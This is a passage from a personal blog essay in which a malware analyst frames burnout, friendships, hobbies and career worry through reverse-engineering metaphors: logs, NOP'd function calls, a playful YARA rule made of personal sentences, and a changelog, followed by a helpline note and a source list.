builds things nobody asked for. It takes apart radios, writes scripts to rename files, and once spent three weekends teaching a kettle to play two notes.&lt;/p&gt;&#10;&#10;&lt;pre class="lang-plaintext" data-lang="Log"&gt;&lt;code&gt;kettle.log&#10;run 1 6h00 £0.00 relay clicks, does not latch&#10;run 2 4h00 £4.20 wrong pitch: the delay loop was timed for 60 Hz mains&#10;run 3 5h40 second note lands 40 ms late&#10;parts relay from a doorbell that never worked, a board,&#10; speaker from a radio taken apart at fourteen&#10;known relay sticks below 10 °C; second note slightly flat;&#10; do_it_again(), which nobody should read&#10;&lt;/code&gt;&lt;/pre&gt;&#10;&#10;&lt;p&gt;Run 3 still lands the second note 40 ms late, and it is still slightly flat, and I count that as shipped.&lt;/p&gt;&#10;&#10;&lt;p&gt;When this section stops, nothing breaks. It keeps reading and watching, and it stops making. What goes missing is the belief that it can still build things. Flow needs a clear next step, quick feedback and a task slightly too hard (&lt;a href="https://www.katesweeny.com/uploads/2/6/9/4/26944848/sweeny_et_al._2026__emotion_.pdf"&gt;Sweeny et al., 2026&lt;/a&gt;), and having a hobby with no deliverable attached is one of the simplest ways to get it back (&lt;a href="https://www.nature.com/articles/s41591-023-02506-1"&gt;Mak et al., 2023&lt;/a&gt;).&lt;/p&gt;&#10;&#10;&lt;figure&gt;&lt;img src="https://fumik0.com/img/hack-yourself/photos/workbench-800.webp" srcset="https://fumik0.com/img/hack-yourself/photos/workbench-800.webp 800w, https://fumik0.com/img/hack-yourself/photos/workbench-1600.webp 1600w" sizes="(max-width: 800px) 100vw, 736px" width="800" height="606" alt="An electronics workbench with a scope, multimeter, breadboard and tangled leads." loading="lazy" decoding="async"&gt;&lt;figcaption&gt;A workbench mid-project, with nothing on it that anyone asked for. &lt;small&gt;Photo: “&lt;a href="https://commons.wikimedia.org/wiki/File:Electronics_workbench.jpg"&gt;Electronics workbench&lt;/a&gt;” by James Bastow, CC BY-SA 2.0, via Wikimedia Commons. Resized.&lt;/small&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;&lt;p&gt;Open the smallest unfinished thing on your drive and make it one step less broken. No new project, no rewrite, no domain.&lt;/p&gt;&#10;&#10;&lt;p&gt;&lt;span&gt;patch&lt;/span&gt; One unfinished thing opened, made one step less broken, and closed.&lt;/p&gt;&#10;&#10;&lt;h3 id="sec-friends" data-sec="friends"&gt;&lt;code&gt;friends()&lt;/code&gt; Friends&lt;/h3&gt;&#10;&#10;&#10;&lt;p&gt;&lt;code&gt;friends()&lt;/code&gt; is the network code, which covers every connection to another person. Most of the traffic is tiny, a photo or a single line. Mine treats every reply like a report, so every reply feels expensive. Here is one thread, logged like network traffic, with arrows for which way each message went.&lt;/p&gt;&#10;&#10;&lt;pre class="lang-plaintext" data-lang="Log"&gt;&lt;code&gt;friends.log, one thread&#10;03 Oct 09:04 &amp;lt;- photo: a greyhound in a plastic cone&#10; "he's fine. just dramatic."&#10; read, no reply&#10;24 Oct 23:41 -&amp;gt; "alive. what has he eaten now."&#10;24 Oct &amp;lt;-&amp;gt; call, 41 min, mostly about the dog&#10;&lt;/code&gt;&lt;/pre&gt;&#10;&#10;&lt;p&gt;Twenty-one days without sending a reply, and the other side never complained and never gave up on the thread. One line costs nothing, and every day of waiting makes the next line harder to send.&lt;/p&gt;&#10;&#10;&lt;p&gt;People reliably &lt;a href="https://doi.org/10.1037/a0037323"&gt;expect a conversation to go worse than it does&lt;/a&gt;. The call I dreaded lasted 41 minutes, mostly about the dog, and I would take that trade again. Long-term studies like the &lt;a href="https://www.adultdevelopmentstudy.org/"&gt;Harvard Study of Adult Development&lt;/a&gt; and the &lt;a href="https://www.hhs.gov/sites/default/files/surgeon-general-social-connection-advisory.pdf"&gt;Surgeon General's advisory&lt;/a&gt; say plenty about relationships and health, but the fifteen-cigarettes figure for loneliness never made me reply. A dog in a cone did.&lt;/p&gt;&#10;&#10;&lt;p&gt;&lt;span&gt;patch&lt;/span&gt; One line sent today.&lt;/p&gt;&#10;&#10;&lt;h3 id="sec-fun" data-sec="fun"&gt;&lt;code&gt;fun()&lt;/code&gt; Fun&lt;/h3&gt;&#10;&#10;&#10;&lt;p&gt;Since what &lt;code&gt;fun()&lt;/code&gt; produces cannot be read from the file, here is what it does when it runs.&lt;/p&gt;&#10;&#10;&lt;p&gt;Games are my main fuel, and Persona 5 Royal is the one I keep coming back to. It runs for more than a hundred hours, spread over months of evenings, and when the credits roll you sit there with an empty feeling, the kind you only get when something was good enough to miss. Expedition 33 did that to me again in 2025, just not quite as hard. That empty feeling is the opposite of the &lt;abbr title="NOP (no operation): an instruction that does nothing. Replacing a call with NOPs leaves it in the file but skips it at run time."&gt;NOPs&lt;/abbr&gt; below, because it shows that every call was running.&lt;/p&gt;&#10;&#10;&lt;p&gt;Games are the biggest input, although not the only one. Anime and TV shows do the same thing in smaller doses, with a few characters to follow for weeks and an episode waiting at the end of a long day. Cooking is the taste-and-adjust loop from the cook above, with the bonus that you get to eat the result, and so does whoever is at the table.&lt;/p&gt;&#10;&#10;&lt;p&gt;Modding the Resident Evil games I keep replaying uses the skills from my job with none of its deadlines. The gym is the newest addition, and the strangest one, because it is where the head finally goes quiet. There is no room to think about anything else while you lift, and a weight that felt heavy last month slowly stops being heavy.&lt;/p&gt;&#10;&#10;&lt;p&gt;None of it is big, because the fun sits in the details, and when a month goes badly, the details are the first thing to disappear.&lt;/p&gt;&#10;&#10;&lt;pre class="lang-c"&gt;&lt;code&gt;// an ordinary evening, during a bad month&#10;void evening(void)&#10;{&#10; play(game); // still runs, the last call standing&#10; nop(); // taste(dinner): eaten, not tasted&#10; nop(); // watch(episode): playing, not watched&#10; nop(); // cook(for_two)&#10; nop(); // lift(); log(weight)&#10; nop(); // notice(progress)&#10; scroll(phone); // fills the gaps, returns nothing&#10;} // nothing crashes, so nothing reports&#10;&lt;/code&gt;&lt;/pre&gt;&#10;&#10;&lt;p&gt;Nobody decides this, because while something else takes all the attention, the brain patches those calls out on its own. The dinner still gets eaten and the episode still plays, but nothing registers, and because nothing crashes, you do not notice. From the outside the function looks intact. I only saw the NOPs when I sat down and read it the way I would read a sample.&lt;/p&gt;&#10;&#10;&lt;p&gt;Putting the bytes back is slower than taking them out, and it happens one call at a time, through a dish cooked properly instead of eaten over the keyboard, an episode watched without a phone in your hand, a note of what you lifted so next month has something to compare against.&lt;/p&gt;&#10;&#10;&lt;p&gt;&lt;span&gt;patch&lt;/span&gt; Original bytes restored. Dinner, episodes and the gym are back in the call graph, the map of what calls what.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;Detection&lt;/h2&gt;&#10;&#10;&lt;p&gt;Every malware report ends the same way, with a rule to catch the sample the next time it turns up. In my world that is usually &lt;abbr title="YARA: a small language for writing rules that search files for words or byte patterns. Everyone in this field uses it to recognise a family of malicious files they have already seen."&gt;YARA&lt;/abbr&gt;, a few strings and a condition, and when a file matches, someone goes and looks. This report is about me, so I wrote one about me.&lt;/p&gt;&#10;&#10;&lt;pre class="lang-yara"&gt;&lt;code&gt;rule ME_exe_2026_10&#10;{&#10; meta:&#10; description = "the analyst, on a bad week"&#10; response = "stop and check the function the hit points to"&#10; strings:&#10; $critic = "this is wrong" // critic(), before the patch&#10; $behind = "I am behind on everything" // health()&#10; $wake = "woke at 04:20" // health()&#10; $friends = "he's fine. just dramatic." // friends(), still unanswered&#10; $taste = "food that tastes of nothing" // fun(), before the patch&#10; condition:&#10; 2 of them&#10;}&#10;&lt;/code&gt;&lt;/pre&gt;&#10;&#10;&lt;p&gt;Read from the top, the rule lists five sentences and fires when any two of them turn up in the same week. Most of the rule is sentences from the head, but two lines come from the body, and the body usually speaks first: waking at four for no reason, a tight jaw at the desk, eyes burning by eleven, food that tastes of nothing, a short answer to someone who did not deserve it. All of them arrive long before the head is ready to admit that a function is running low.&lt;/p&gt;&#10;&#10;&lt;p&gt;Anyone who has snoozed the same phone alarm every morning knows what happens to an alert that fires every day and gets ignored. People stop reading it, and then they stop seeing it. A body trains you the same way. Ignore the signal long enough and it fades into the background, until it comes back louder: a cold that lasts three weeks, a hobby that stopped being fun, a friend you have not heard from in months.&lt;/p&gt;&#10;&#10;&lt;p&gt;So when the rule fires, I treat it like any other alert and go and look. The string says which function is short, and the fix is usually small and a bit boring, such as an early night, the one-line message, an evening handed back to a game. The triage window earlier builds the same list from your own week, if you want yours.&lt;/p&gt;&#10;&#10;&lt;p&gt;If you keep only one function, keep &lt;code&gt;fun()&lt;/code&gt;. There will never be a week with spare time for it.&lt;/p&gt;&#10;&#10;&lt;p&gt;A rule only recognises patterns someone has already written down. It says nothing about behaviour nobody has named yet, and most of what matters is still unnamed. For that you stop reading the file and watch it run.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;Watching it run&lt;/h2&gt;&#10;&#10;&lt;p&gt;So far I had only read the file, which a reverser calls static analysis. The report says what each part is supposed to do, and the rule says what a bad week looks like, but neither shows the program actually running. For that, the standard approach is dynamic analysis, which means you provide inputs, log the outputs, and then work out how the two are connected.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;I applied the same approach to myself. The inputs were sleep, news, social feeds, people, work and projects, while the outputs were my mood, my energy, my focus, the work I shipped and the way I spoke to the people I care about.&lt;/p&gt;&#10;&#10;&lt;figure&gt;&lt;img src="https://fumik0.com/img/hack-yourself/photos/cern-control-room-1600.webp" srcset="https://fumik0.com/img/hack-yourself/photos/cern-control-room-800.webp 800w, https://fumik0.com/img/hack-yourself/photos/cern-control-room-1600.webp 1600w" sizes="(max-width: 800px) 100vw, 736px" width="1530" height="1020" alt="An operator at a control desk in a dark room full of panels and screens." loading="lazy" decoding="async"&gt;&lt;figcaption&gt;Dynamic analysis means sitting in front of the panel, changing one input and watching every needle. &lt;small&gt;Photo: “&lt;a href="https://commons.wikimedia.org/wiki/File:PS_Main_Control_Room_1974.jpg"&gt;PS Main Control Room, 1974&lt;/a&gt;” by CERN PhotoLab, &lt;a href="https://creativecommons.org/licenses/by-sa/4.0/"&gt;CC BY-SA 4.0&lt;/a&gt;, via Wikimedia Commons. Resized.&lt;/small&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;The loop is the same one behavioural activation uses. When a mood drops, the obvious response is to stop doing things, and stopping removes the small evidence that anything can change. A bad morning cancels the walk, the missing walk makes the afternoon flatter, and the flat afternoon cancels the evening plans. Behavioural activation reverses that order, so you plan one small action, run it, and let the result update the mood rather than waiting for the mood to permit the action. It is &lt;a href="https://www.nice.org.uk/guidance/ng222/chapter/recommendations"&gt;recommended for depression&lt;/a&gt; in UK clinical guidance, and in a large head-to-head trial it &lt;a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC2648513/"&gt;held up against cognitive therapy and medication&lt;/a&gt;. The &lt;a href="https://beckinstitute.org/about/understanding-cbt/"&gt;cognitive model behind CBT&lt;/a&gt; keeps a similar record: what happened, what you assumed, what the evidence shows, and what you will try next.&lt;/p&gt;&#10;&#10;&lt;p&gt;Pick a day below, run it, and watch which inputs move the registers, the five counters the tracer keeps for energy, mood, focus, connection and joy.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h3&gt;What the log showed&lt;/h3&gt;&#10;&#10;&lt;p&gt;What surprised me most was how much was working. In the example day above, most inputs push a register up. When you only listen to the noise, you only notice bugs. When I logged mine, I found features I had never documented. The Jargon File even has a joke for this, &lt;a href="http://www.catb.org/jargon/html/F/feature.html"&gt;defining a feature&lt;/a&gt; as a bug that has been documented, and half of what I called flaws turned out to be behaviour I had never written down.&lt;/p&gt;&#10;&#10;&lt;p&gt;A log does not stop you sending the sharp reply at 09:30, though. Seeing where a function fails and catching it while it fails are two different jobs, and the second one needs a breakpoint.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;The breakpoint&lt;/h2&gt;&#10;&#10;&lt;p&gt;You already know what a breakpoint is, even if you have never opened a debugger. Pausing a game to check your health before the next room is a breakpoint, and so is a time-out in a match, or hovering over the send button to read a message one last time.&lt;/p&gt;&#10;&#10;&lt;p&gt;Programmers use the same idea on purpose. A debugger lets them run a program slowly and look inside it, and a breakpoint is a stop sign placed on one specific line. When the program reaches that line, it freezes with everything still in place, so you can read what it is holding, see what it is about to do, and then let it carry on from exactly where it stopped.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;The moments I regret are reactions rather than decisions, such as the verdict on line 213, the sharp answer before ten or one more episode at midnight. Reactions run fast, because a message, a headline or a comment arrives and a reply is already on its way before you have decided anything. The useful part is the gap between the event and the response, however short, because that gap is where the breakpoint goes.&lt;/p&gt;&#10;&#10;&lt;p&gt;While the program is frozen, a debugger lets you read its variables, the values it is holding at that moment. A person in the middle of a reaction is holding four: the feeling (&lt;a href="https://doi.org/10.1177/1754073917742706"&gt;naming it in a word or two&lt;/a&gt; can take some of its intensity away), the story you are telling about what just happened, what you actually know, and the options you have. In a hurry they blur into one, but once they are separated they come apart quickly.&lt;/p&gt;&#10;&#10;&lt;p&gt;The widget below runs the same pause on six ordinary moments. Press Step to go one stage at a time, and compare it with the run that has no breakpoint.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;A breakpoint does not need to be dramatic. It can be one breath with your hands off the keyboard, a glass of water, or a sentence typed into a notes app instead of the reply box. You will forget on some days, and the program will run straight through the line you were worried about. Go back and read what happened afterwards, repair what needs repairing, and place the stop sign one line earlier next time. For me it turned out to be the most useful technique of all: one breath before the angry reply, the fourth thread of the evening or the yes I have no time for, and the evening goes differently.&lt;/p&gt;&#10;&#10;&lt;p&gt;A breakpoint buys one second in which the program is paused and nothing has happened yet. What you do with that second is a change, and a change has to be shipped.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;Small patches, no rewrite&lt;/h2&gt;&#10;&#10;&lt;p&gt;The six patch lines in the report were already commits. In git (the tool programmers use to track every version of their code), a commit is one saved change with a short message explaining why, and each of those patches changed one thing and could be undone without touching the others. I had been working that way at my desk for years, just never on myself.&lt;/p&gt;&#10;&#10;&lt;p&gt;"Get healthier" is a resolution. "When I close the laptop, I put on my shoes and walk for ten minutes" is a commit, because it is one change tied to one cue, with a reason you could write in the message. Psychologists call the second kind an implementation intention (&lt;a href="https://doi.org/10.1016/S0065-2601(06)38002-1"&gt;Gollwitzer &amp;amp; Sheeran, 2006&lt;/a&gt;; &lt;a href="https://doi.org/10.1080/10463283.2024.2334563"&gt;2024&lt;/a&gt;). It works because the decision is made in advance, so when the laptop closes there is nothing left to decide.&lt;/p&gt;&#10;&#10;&lt;p&gt;If a change does not work, I revert it. In git that adds a commit which undoes the old one, so the history stays, and a failed experiment becomes a line that says "tried this, learned that". The next commit is better for it.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;Plutarch records an old puzzle about the ship of Theseus. The Athenians kept replacing its rotten planks over the years, and people argued about whether it was still the same ship. Git, however, keeps the old planks.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h3&gt;Why a small patch feels like nothing&lt;/h3&gt;&#10;&#10;&lt;p&gt;There is a catch, and it is the reason small patches are so easy to skip. When I am overwhelmed, the part of me that decides what counts as relief stops registering small things. Answering one message, cooking one real meal or walking for ten minutes does not feel like anything, because the threshold (the size a task must reach before it feels like a win) has crept upward until only a colossal task can pay out: fix the whole career, clear the whole backlog, become a different person. Those tasks are almost impossible to finish, so the relief never arrives, and the real tasks in front of me keep counting for zero.&lt;/p&gt;&#10;&#10;&lt;p&gt;The fix is to lower the threshold a little at a time by writing down each small finish when it happens, because the brain no longer does it for me.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;You never get the source code of yourself, only the binary. For a long time that felt like a limitation, until I remembered how much of my favourite software came from people who did not have the source either. Counter-Strike started in 1999 as a Half-Life mod made by two people. Defense of the Ancients began as a Warcraft III custom map and was rebuilt by Valve as Dota 2, and PUBG began with a battle royale mod for ARMA 2. Modders patch a function here, replace a texture there and add an item without breaking the save, and some mods end up better than the original game. Every patch in this post was a mod of that kind: a small edit to a binary I did not write and could not rebuild.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;The skills did not die&lt;/h2&gt;&#10;&#10;&lt;p&gt;The patches worked, and the fear stayed. So I asked what I had used to build them. Before AI, the advice to newcomers in security was always the same. Learn to read code first, and only then learn to read code that does not want to be read.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;Those skills did not disappear. No model has taken observing before judging, forming and testing a hypothesis, writing everything down, changing one thing at a time, or staying patient at 2 a.m. with something that does not want to be understood, and together they are the part of my work I use most. None of it was ever about malware either. A training log, a budget and a project diary all write things down for their owner, and the kettle log in the report is one hypothesis tested three times. I cannot promise that these skills protect a job. What they did for me was turn a mood into a list I could work through, and once there was a list, there was a next step.&lt;/p&gt;&#10;&#10;&lt;p&gt;Skills do not transfer automatically, though (&lt;a href="https://jaymctighe.com/wp-content/uploads/2011/04/Transfer-of-Learning-Perkins-and-Salomon.pdf"&gt;Perkins &amp;amp; Salomon, 1992&lt;/a&gt;). They travel when you name the principle behind what you did and deliberately apply it somewhere new, and when you take the time to &lt;a href="https://doi.org/10.2139/ssrn.2414478"&gt;reflect and write down&lt;/a&gt; what worked.&lt;/p&gt;&#10;&#10;&lt;figure&gt;&lt;img src="https://fumik0.com/img/hack-yourself/photos/mechanic-suspension-800.webp" srcset="https://fumik0.com/img/hack-yourself/photos/mechanic-suspension-800.webp 800w, https://fumik0.com/img/hack-yourself/photos/mechanic-suspension-1600.webp 1600w" sizes="(max-width: 800px) 100vw, 736px" width="1600" height="2397" alt="A mechanic working on the suspension of a car lifted in a garage." loading="lazy" decoding="async"&gt;&lt;figcaption&gt;The same job on a model he has not seen before. Near transfer is the unglamorous kind, and it is most of what experience is for. &lt;small&gt;Photo: “&lt;a href="https://commons.wikimedia.org/wiki/File:Car_mechanic_worker_repairing_suspension_of_lifted_automobile_at_auto_repair_garage_shop.jpg"&gt;Car mechanic worker repairing suspension of lifted automobile at auto repair garage shop&lt;/a&gt;” by Shixart1985, &lt;a href="https://creativecommons.org/licenses/by/2.0/"&gt;CC BY 2.0&lt;/a&gt;, via Wikimedia Commons. Resized.&lt;/small&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;&lt;h3&gt;The export table&lt;/h3&gt;&#10;&#10;&lt;p&gt;The report started with the imports, everything the program needs from outside, and the export table is the other side. A DLL, a library other programs load, is useful to them through what it exports. The four drives are how the program runs, and none of them is in the export table. The exports are what another team can call. "What transfers" is the same question asked about a person.&lt;/p&gt;&#10;&#10;&lt;pre class="lang-plaintext" data-lang="Exports"&gt;&lt;code&gt;the analyst, exports&#10;&#10;exported&#10; triage() rank by what changes the answer, not by what is easy to start&#10; report() the finding, written so the next person can act on it&#10; tool() the smallest script that answers one question&#10; read() an unfamiliar system, from the outside, with no manual&#10; commit() one change at a time, with the reason attached&#10; revert() undo a change, history kept&#10;&#10;private&#10; tool_shortcuts tool-specific, rots with the licence&#10; case_notes useful until the family is renamed&#10; all_nighter the patience travels; the hours do not&#10; job_title the artefacts travel, the title does not&#10;&lt;/code&gt;&lt;/pre&gt;&#10;&#10;&lt;p&gt;The first list is a method. It still works at a new employer, in a new language, a decade later. The second is inventory, which is real, expensive to build, and worth little outside the job that produced it.&lt;/p&gt;&#10;&#10;&lt;p&gt;The catch is the 19%, because none of this shows on the surface. A CV says "reverse engineering" and leaves a hiring manager with nothing to look at. A write-up of a sample, a rule that fires on a real family, or a small tool someone still uses are things someone else can check. The gap is at the entrance, and the study cannot say why. My guess is that the people standing there have the least to show, because the work that leaves a record is the work they have not been hired to do yet.&lt;/p&gt;&#10;&#10;&lt;p&gt;So the fourth question splits in two. I cannot say who will hire me, and neither can a post. What I can show them does have an answer, and it is the export table, made public one artefact at a time.&lt;/p&gt;&#10;&#10;&lt;h3&gt;The questions from the opening&lt;/h3&gt;&#10;&#10;&lt;p&gt;Three are answerable, and the fourth is half answerable.&lt;/p&gt;&#10;&#10;&lt;ul&gt;&#10; &lt;li&gt;&lt;b&gt;Am I too late?&lt;/b&gt; No, because I was already doing this work before I had a name for it.&lt;/li&gt;&#10; &lt;li&gt;&lt;b&gt;Did I choose the wrong field?&lt;/b&gt; No, because the skills travel and the field was never the whole story.&lt;/li&gt;&#10; &lt;li&gt;&lt;b&gt;Is the thing I am good at still worth being good at?&lt;/b&gt; As a method, yes, even while the tools change every quarter.&lt;/li&gt;&#10; &lt;li&gt;&lt;b&gt;What do I learn next, and who will hire me for it?&lt;/b&gt; Only half of it has an answer. Learn the next method that travels instead of the next tool that expires. The hiring half stays open, and the showing half is the export table.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10;&lt;p&gt;What I can do is make the next attempt less blind, by making one export visible.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;Release notes&lt;/h2&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;A changelog is where change becomes visible. At the start of this post, the program had no changelog, and this section gives it one. Every line but the known bug is a patch mentioned earlier, collected the way you would collect a diff. One month is too short to claim results, so the notes only record what changed, and mine came out like this.&lt;/p&gt;&#10;&#10;&lt;figure&gt;&lt;img src="https://fumik0.com/img/hack-yourself/photos/logbook-1943-800.webp" srcset="https://fumik0.com/img/hack-yourself/photos/logbook-1943-800.webp 800w, https://fumik0.com/img/hack-yourself/photos/logbook-1943-1600.webp 1600w" sizes="(max-width: 800px) 100vw, 736px" width="1600" height="1992" alt="A 1943 US Navy logbook page with dated entries in handwriting." loading="lazy" decoding="async"&gt;&lt;figcaption&gt;A ship's log, written one watch at a time by whoever was on duty. No conclusions, only entries. &lt;small&gt;Photo: “&lt;a href="https://commons.wikimedia.org/wiki/File:PT-109_Logbook_Entry_April_1,_1943_-_DPLA_-_0be939bd8947dec0af8ff94c517773ae.jpg"&gt;PT-109 Logbook Entry April 1, 1943&lt;/a&gt;”, US Navy, public domain, via DPLA and Wikimedia Commons. Resized.&lt;/small&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;&lt;pre class="lang-plaintext" data-lang="Changelog"&gt;&lt;code&gt;ME.exe v2026.10&#10; Added tinker(): one unfinished thing opened, made one step less broken&#10; Fixed verdict() deleted; one log line per fault, with a fix&#10; Fixed five-hour habit retired; the wake time no longer moves&#10; Fixed input queue capped; recall() runs after every chapter&#10; Fixed fun() put back in the call graph&#10; Changed one line sent to the thread open since October&#10; Known still overthinks at 2 a.m.; workaround: write it down, sleep&#10;&lt;/code&gt;&lt;/pre&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;Software makes this easy, because the diff (the list of exactly what changed between two versions) is right there. A person's diff is spread out, so you have to go and collect it. Most of the evidence already exists.&lt;/p&gt;&#10;&#10;&lt;ul&gt;&#10; &lt;li&gt;Something you wrote a year ago, a message, a note or a post. If it makes you wince a little, the version that wrote it is no longer running.&lt;/li&gt;&#10; &lt;li&gt;An old photo or video. The face is close to the same. The room, the posture and the people around you have moved.&lt;/li&gt;&#10; &lt;li&gt;A book you read twice. The book did not change between readings, so whatever you noticed the second time is the diff.&lt;/li&gt;&#10; &lt;li&gt;A project folder sorted by date: the first commit, the first thing that worked, the first person who used it.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10;&lt;p&gt;Pick the window on purpose. A day is too short and the diff looks empty, which is why bad days feel permanent. A week shows habits, a month shows a direction, and a year is where most of the change hides.&lt;/p&gt;&#10;&#10;&lt;p&gt;Write the notes once a month and read the old ones once a year.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;Next version&lt;/h2&gt;&#10;&#10;&lt;p&gt;The fear from the opening was reasonable, and it will come back with the next headline. I look at it differently now. One month of reading myself like a sample gave me a forty-one-minute call about a dog, a kettle that plays two notes slightly flat, evenings that taste of something again, and a file I know how to read. When the rule fires again, I will find what fired it and set a breakpoint on send() before I reply to anything.&lt;/p&gt;&#10;&#10;&lt;figure&gt;&lt;img src="https://fumik0.com/img/hack-yourself/photos/bison-tuesday.jpg" width="900" height="520" alt="M. Bison in Street Fighter (1994), saying: But for me, it was Tuesday." loading="lazy" decoding="async"&gt;&lt;figcaption&gt;The ground moves, and for everyone else it is Tuesday. &lt;small&gt;&lt;i&gt;Street Fighter&lt;/i&gt; (1994), dir. Steven E. de Souza.&lt;/small&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;&lt;p&gt;You do not need to be a reverse engineer to do any of this. You need one thing that is slightly broken, and the patience to keep looking at it.&lt;/p&gt;&#10;&#10;&lt;p&gt;&lt;em&gt;A note before you go: this is a way of looking at yourself, not a treatment. If things feel heavier than a bad week, talk to someone you trust or to a professional. If you are in danger, helplines are free and confidential, and &lt;a href="https://findahelpline.com/"&gt;Find A Helpline&lt;/a&gt; lists services in more than 175 countries, including 988 in the US, Samaritans on 116 123 in the UK and Ireland, and 3114 in France.&lt;/em&gt;&lt;/p&gt;&#10;&#10;&lt;p&gt;&lt;abbr title="note de la rédaction, editor's note"&gt;NDLR&lt;/abbr&gt; &amp;middot; AI helped me turn my draft and ideas into the article you just read. The experience, the opinions and the mistakes are mine. Thanks for reading.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;Sources&lt;/h2&gt;&#10;&#10;&lt;ul class="sources"&gt;&#10; &lt;li&gt;&lt;a href="https://decrypt.co/354308/youtuber-cracks-coca-colas-139-year-old-secret-formula"&gt;Decrypt, LabCoatz and the Coca-Cola formula, January 2026&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://www.apa.org/pubs/reports/work-in-america/2026"&gt;APA, Work in America 2026&lt;/a&gt;; &lt;a href="https://www.apa.org/pubs/reports/work-in-america/2023-work-america-ai-monitoring"&gt;2023&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://digitaleconomy.stanford.edu/publication/canaries-in-the-coal-mine-six-facts-about-the-recent-employment-effects-of-artificial-intelligence/"&gt;Brynjolfsson, Chandar &amp;amp; Chen, Canaries in the Coal Mine?, Stanford Digital Economy Lab, rev. August 2026&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://www.challengergray.com/wp-content/uploads/2026/01/Challenger-Report-December-2025.pdf"&gt;Challenger, Gray &amp;amp; Christmas, December 2025 report&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="http://www.catb.org/jargon/html/H/hacker.html"&gt;The Jargon File: hacker&lt;/a&gt;, &lt;a href="http://www.catb.org/jargon/html/F/feature.html"&gt;feature&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://www.sciencedirect.com/science/article/pii/S2212144720301940"&gt;Gloster et al., the empirical status of ACT, 2020&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://doi.org/10.1016/j.brat.2003.10.008"&gt;Masuda, Hayes, Sackett &amp;amp; Twohig, cognitive defusion and self-relevant negative thoughts, Behaviour Research and Therapy 42 (2004)&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://pubmed.ncbi.nlm.nih.gov/22645164/"&gt;Breines &amp;amp; Chen, self-compassion increases self-improvement motivation, 2012&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://www.nature.com/articles/s41591-023-02506-1"&gt;Mak et al., hobby engagement in 16 countries, Nature Medicine, 2023&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://www.adultdevelopmentstudy.org/"&gt;Harvard Study of Adult Development&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://www.hhs.gov/sites/default/files/surgeon-general-social-connection-advisory.pdf"&gt;US Surgeon General, Our Epidemic of Loneliness and Isolation, 2023&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://www.katesweeny.com/uploads/2/6/9/4/26944848/sweeny_et_al._2026__emotion_.pdf"&gt;Sweeny et al., flow and wellbeing, Emotion (2026)&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://www.nice.org.uk/guidance/ng222/chapter/recommendations"&gt;NICE NG222, depression in adults&lt;/a&gt;; &lt;a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC2648513/"&gt;Dimidjian et al., 2006&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://beckinstitute.org/about/understanding-cbt/"&gt;Beck Institute, understanding CBT&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://doi.org/10.1016/S0065-2601(06)38002-1"&gt;Gollwitzer &amp;amp; Sheeran, 2006&lt;/a&gt;; &lt;a href="https://doi.org/10.1080/10463283.2024.2334563"&gt;Sheeran, Listrom &amp;amp; Gollwitzer, 2024&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://git-scm.com/docs/git-revert"&gt;git revert&lt;/a&gt; and &lt;a href="https://git-scm.com/docs/git-reset"&gt;git reset&lt;/a&gt; manuals&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://jaymctighe.com/wp-content/uploads/2011/04/Transfer-of-Learning-Perkins-and-Salomon.pdf"&gt;Perkins &amp;amp; Salomon, Transfer of Learning, International Encyclopedia of Education, 1992&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://doi.org/10.2139/ssrn.2414478"&gt;Di Stefano, Gino, Pisano &amp;amp; Staats, Learning by Thinking, working paper, 2014&lt;/a&gt;&lt;/li&gt;&#10; &lt;li&gt;&lt;a href="https://doi.org/10.1177/1754073917742706"&gt;Torre 